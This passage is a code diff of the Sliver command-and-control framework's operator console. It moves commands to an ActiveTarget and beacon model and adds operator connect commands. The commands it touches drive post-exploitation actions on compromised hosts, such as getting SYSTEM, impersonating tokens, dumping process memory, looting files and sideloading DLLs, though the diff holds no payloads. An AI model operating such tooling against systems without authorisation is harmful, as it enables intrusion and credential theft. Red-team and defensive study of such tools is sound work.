@@ -59,14 +60,14 @@ func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
tw := table.NewWriter()
tw.SetStyle(table.StyleLight)
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Hostname",
"Operating System",
"Sessions",
"IOCs",
"Extension Data",
"ID (Short)",
})
for _, host := range hosts {
var shortID string
@@ -76,12 +77,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
shortID = host.HostUUID[:8]
}
tw.AppendRow(table.Row{
shortID,
host.Hostname,
host.OSVersion,
hostSessionNumbers(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
shortID,
})
}
return tw.Render()
@@ -99,6 +100,7 @@ func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) strin
return strings.Join(sessionNumbers, ", ")
}
// SessionsForHost - Find session for a given host by id
func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
+53 -22
View File
@@ -21,22 +21,16 @@ package info
import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// InfoCmd - Display information about the active session
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var session *clientpb.Session
sessionName := ctx.Args.String("session")
if con.ActiveSession.GetInteractive() != nil {
session = con.ActiveSession.GetInteractive()
} else if sessionName != "" {
session = con.GetSession(sessionName)
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if session != nil {
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
@@ -51,8 +45,29 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+" Poll Interval: %s%d\n", console.Normal, session.PollInterval)
con.Printf(console.Bold+" Poll Timeout: %s%d\n", console.Normal, session.PollTimeout)
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
} else if beacon != nil {
con.Printf(console.Bold+" ID: %s%s\n", console.Normal, beacon.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
con.Printf(console.Bold+" Username: %s%s\n", console.Normal, beacon.Username)
con.Printf(console.Bold+" UID: %s%s\n", console.Normal, beacon.UID)
con.Printf(console.Bold+" GID: %s%s\n", console.Normal, beacon.GID)
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
// con.Printf(console.Bold+" Poll Timeout: %s%d\n", console.Normal, beacon.PollTimeout)
// con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, beacon.ReconnectInterval)
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
}
@@ -60,36 +75,52 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// PIDCmd - Get the active session's PID
func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%d\n", session.PID)
if session != nil {
con.Printf("%d\n", session.PID)
} else if beacon != nil {
con.Printf("%d\n", beacon.PID)
}
}
// UIDCmd - Get the active session's UID
func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%s\n", session.UID)
if session != nil {
con.Printf("%s\n", session.UID)
} else if beacon != nil {
con.Printf("%s\n", beacon.UID)
}
}
// GIDCmd - Get the active session's GID
func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%s\n", session.GID)
if session != nil {
con.Printf("%s\n", session.GID)
} else if beacon != nil {
con.Printf("%s\n", beacon.GID)
}
}
// WhoamiCmd - Displays the current user of the active session
func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
con.Printf("%s\n", session.Username)
if session != nil {
con.Printf("%s\n", session.Username)
} else if beacon != nil {
con.Printf("%s\n", beacon.Username)
}
}
+2 -2
View File
@@ -11,7 +11,7 @@ import (
// PingCmd - Send a round trip C2 message to an implant (does not use ICMP)
func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -20,7 +20,7 @@ func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Ping %d\n", nonce)
pong, err := con.Rpc.Ping(context.Background(), &sliverpb.Ping{
Nonce: int32(nonce),
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+2 -2
View File
@@ -33,7 +33,7 @@ import (
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -60,7 +60,7 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
+4 -4
View File
@@ -185,7 +185,7 @@ func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -246,7 +246,7 @@ func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
@@ -272,7 +272,7 @@ func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
@@ -297,7 +297,7 @@ func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
+2 -2
View File
@@ -31,13 +31,13 @@ import (
// IfconfigCmd - Display network interfaces on the remote system
func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
ifconfig, err := con.Rpc.Ifconfig(context.Background(), &sliverpb.IfconfigReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+4 -4
View File
@@ -31,7 +31,7 @@ import (
// NetstatCmd - Display active network connections on the remote system
func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -43,7 +43,7 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
udp := ctx.Flags.Bool("udp")
netstat, err := con.Rpc.Netstat(context.Background(), &sliverpb.NetstatReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
TCP: tcp,
UDP: udp,
Listening: listening,
@@ -72,7 +72,7 @@ func displayEntries(entries []*sliverpb.SockTabEntry, con *console.SliverConsole
}
con.Printf("Proto %-23s %-23s %-12s %-16s\n", "Local Addr", "Foreign Addr", "State", "PID/Program name")
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
for _, e := range entries {
p := ""
if e.Process != nil {
@@ -95,6 +95,6 @@ func isSliverAddr(dstAddr string, con *console.SliverConsoleClient) bool {
if len(parts) != 3 {
return false
}
c2Addr := strings.Split(con.ActiveSession.GetInteractive().ActiveC2, "://")[1]
c2Addr := strings.Split(con.ActiveTarget.GetSessionInteractive().ActiveC2, "://")[1]
return strings.Join(parts[:2], ":") == c2Addr
}
+2 -2
View File
@@ -10,7 +10,7 @@ import (
// NamedPipeListenerCmd - Start a named pipe pivot listener on the remote system
func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -28,7 +28,7 @@ func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient
_, err := con.Rpc.NamedPipes(context.Background(), &sliverpb.NamedPipesReq{
PipeName: pipeName,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+1 -1
View File
@@ -44,7 +44,7 @@ func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
printPivots(session, int64(timeout), con)
} else {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session != nil {
printPivots(session, int64(timeout), con)
} else {
+2 -2
View File
@@ -11,7 +11,7 @@ import (
// TCPListenerCmd - Start a TCP pivot listener on the remote system
func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -22,7 +22,7 @@ func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
_, err := con.Rpc.TCPListener(context.Background(), &sliverpb.TCPPivotReq{
Address: address,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+1 -1
View File
@@ -31,7 +31,7 @@ import (
// PortfwdAddCmd - Add a new tunneled port forward
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -0,0 +1,63 @@
package operator
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
url := ctx.Args.String("connection-string")
aesKey := ctx.Flags.String("aes-key")
agentRange := ctx.Flags.String("range")
skipExisting := ctx.Flags.Bool("skip-existing")
config := &prelude.OperatorConfig{
Range: agentRange,
OperatorURL: url,
RPC: con.Rpc,
AESKey: aesKey,
}
sessionMapper := prelude.InitSessionMapper(config)
con.PrintInfof("Connected to Operator at %s\n", url)
if !skipExisting {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Could not get session list: %s", err)
return
}
if len(sessions.Sessions) > 0 {
con.PrintInfof("Adding existing sessions ...\n")
for _, sess := range sessions.Sessions {
err = sessionMapper.AddSession(sess)
if err != nil {
con.PrintErrorf("Could not add session %s to session mapper: %s", sess.Name, err)
}
}
con.PrintInfof("Done !\n")
}
}
}
@@ -1,8 +1,8 @@
package c2
package operator
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -19,34 +19,15 @@ package c2
*/
import (
"net/http"
"net/http/httptest"
"testing"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/desertbit/grumble"
)
func TestRsaKeyHandler(t *testing.T) {
certs.SetupCAs()
req, err := http.NewRequest("GET", "/test/foo.txt", nil)
if err != nil {
t.Fatal(err)
}
server, err := StartHTTPSListener(&HTTPServerConfig{
Addr: "127.0.0.1:8888",
})
if err != nil {
t.Errorf("Listener failed to start %s", err)
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if prelude.SessionMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
return
}
rr := httptest.NewRecorder()
handler := http.HandlerFunc(server.rsaKeyHandler)
handler.ServeHTTP(rr, req)
if status := rr.Code; status != http.StatusOK {
t.Errorf("handler returned wrong status code: got %v want %v", status, http.StatusOK)
}
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
}
+16 -6
View File
@@ -2,6 +2,8 @@ package privilege
import (
"context"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -27,7 +29,9 @@ import (
*/
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
var processName string = "Current Process"
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -38,7 +42,7 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
privs, err := con.Rpc.GetPrivs(context.Background(), &sliverpb.GetPrivsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
@@ -56,10 +60,15 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if privs.ProcessName != "" {
processName = privs.ProcessName
}
// To make things look pretty, figure out the longest name and description
// for column width
var nameColumnWidth int = 0
var descriptionColumnWidth int = 0
var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(session.PID)))
for _, entry := range privs.PrivInfo {
if len(entry.Name) > nameColumnWidth {
@@ -74,12 +83,13 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
nameColumnWidth += 1
descriptionColumnWidth += 1
con.Println("Privilege Information for Current Process")
con.Println("-----------------------------------------")
con.Printf("Privilege Information for %s (PID: %d)\n", processName, session.PID)
con.Println(strings.Repeat("-", introWidth))
con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "====", descriptionColumnWidth, "===========", "==========")
for _, entry := range privs.PrivInfo {
con.Printf("%-*s\t%-*s\t(", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
con.Printf("%-*s\t%-*s\t", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
if entry.Enabled {
con.Printf("Enabled")
} else {
@@ -94,6 +104,6 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if entry.UsedForAccess {
con.Printf(", Used for Access")
}
con.Printf(")\n")
con.Printf("\n")
}
}
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system
func GetSystemCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -38,7 +38,7 @@ func GetSystemCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.SpinUntil("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl)
getsystemResp, err := con.Rpc.GetSystem(context.Background(), &clientpb.GetSystemReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Config: config,
HostingProcess: process,
})
+2 -2
View File
@@ -28,13 +28,13 @@ import (
// ImpersonateCmd - Windows only, impersonate a user token
func ImpersonateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
username := ctx.Args.String("username")
impResp, err := con.Rpc.Impersonate(context.Background(), &sliverpb.ImpersonateReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Username: username,
})
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// MakeTokenCmd - Windows only, create a token using "valid" credentails
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -45,7 +45,7 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.SpinUntil("Creating new logon session ...", ctrl)
makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Username: username,
Domain: domain,
Password: password,
+2 -2
View File
@@ -28,12 +28,12 @@ import (
// RevToSelfCmd - Drop any impersonated tokens
func RevToSelfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
_, err := con.Rpc.RevToSelf(context.Background(), &sliverpb.RevToSelfReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -28,7 +28,7 @@ import (
// RunAsCmd - Run a command as another user on the remote system
func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -47,7 +47,7 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
runAsResp, err := con.Rpc.RunAs(context.Background(), &sliverpb.RunAsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Username: username,
ProcessName: process,
Args: arguments,
+2 -2
View File
@@ -31,7 +31,7 @@ import (
// ProcdumpCmd - Dump the memory of a remote process
func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -55,7 +55,7 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil("Dumping remote process memory ...", ctrl)
dump, err := con.Rpc.ProcessDump(context.Background(), &sliverpb.ProcessDumpReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Pid: int32(pid),
Timeout: int32(ctx.Flags.Int("timeout") - 1),
})
+4 -4
View File
@@ -46,7 +46,7 @@ var (
// PsCmd - List processes on the remote system
func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -56,7 +56,7 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ownerFilter := ctx.Flags.String("owner")
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
@@ -140,7 +140,7 @@ func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool
if modifyColor, ok := knownProcs[proc.Executable]; ok {
color = modifyColor
}
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session != nil && proc.Pid == session.PID {
color = console.Green
}
@@ -170,7 +170,7 @@ func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool
// GetPIDByName - Get a PID by name from the active session
func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleClient) int {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return -1
+2 -2
View File
@@ -28,14 +28,14 @@ import (
// TerminateCmd - Terminate a process on the remote system
func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
pid := ctx.Args.Uint("pid")
terminated, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Pid: int32(pid),
Force: ctx.Flags.Bool("force"),
})
+2 -2
View File
@@ -29,7 +29,7 @@ import (
// RegCreateKeyCmd - Create a new Windows registry key
func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
@@ -65,7 +65,7 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+4 -4
View File
@@ -9,7 +9,7 @@ import (
)
func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -22,7 +22,7 @@ func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Hive: hive,
Hostname: hostname,
Path: path,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
@@ -43,7 +43,7 @@ func RegListSubKeysCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -56,7 +56,7 @@ func RegListValuesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Hive: hive,
Hostname: hostname,
Path: regPath,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -76,7 +76,7 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
finalPath string
key string
)
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -117,7 +117,7 @@ func RegReadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+2 -2
View File
@@ -32,7 +32,7 @@ import (
// RegWriteCmd - Write to a Windows registry key: registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32
func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -123,7 +123,7 @@ func RegWriteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
regWrite, err := con.Rpc.RegistryWrite(context.Background(), &sliverpb.RegistryWriteReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
Hostname: hostname,
Hive: hive,
Path: finalPath,
+2 -2
View File
@@ -34,7 +34,7 @@ import (
// ScreenshotCmd - Take a screenshot of the remote system
func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -45,7 +45,7 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
screenshot, err := con.Rpc.Screenshot(context.Background(), &sliverpb.ScreenshotReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+1 -1
View File
@@ -7,6 +7,6 @@ import (
// BackgroundCmd - Background the active session
func BackgroundCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.ActiveSession.Background()
con.ActiveTarget.Background()
con.PrintInfof("Background ...\n")
}
+20 -2
View File
@@ -1,5 +1,23 @@
package sessions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
@@ -14,7 +32,7 @@ import (
// KillCmd - Kill the active session (not to be confused with TerminateCmd)
func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
con.PrintWarnf("No active session\n")
return
@@ -33,7 +51,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.ActiveSession.Background()
con.ActiveTarget.Background()
}
func killSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
+18
View File
@@ -1,5 +1,23 @@
package sessions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
+7 -5
View File
@@ -21,6 +21,7 @@ package sessions
import (
"context"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -30,7 +31,7 @@ import (
// SessionsReconfigCmd - Reconfigure metadata about a sessions
func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -51,11 +52,12 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
// Option to change the reconnect interval
poll := ctx.Flags.Int("poll")
oldSession := con.ActiveTarget.GetSession()
session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
SessionID: con.ActiveSession.Session.ID,
SessionID: oldSession.ID,
Name: name,
ReconnectInterval: int32(reconnect),
PollInterval: int32(poll),
ReconnectInterval: int64(reconnect) * int64(time.Second),
PollInterval: int64(poll) * int64(time.Second),
})
if err != nil {
@@ -63,5 +65,5 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
con.ActiveSession.Set(session)
con.ActiveTarget.Set(session, nil)
}
+38 -56
View File
@@ -19,18 +19,17 @@ package sessions
*/
import (
"bytes"
"context"
"fmt"
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
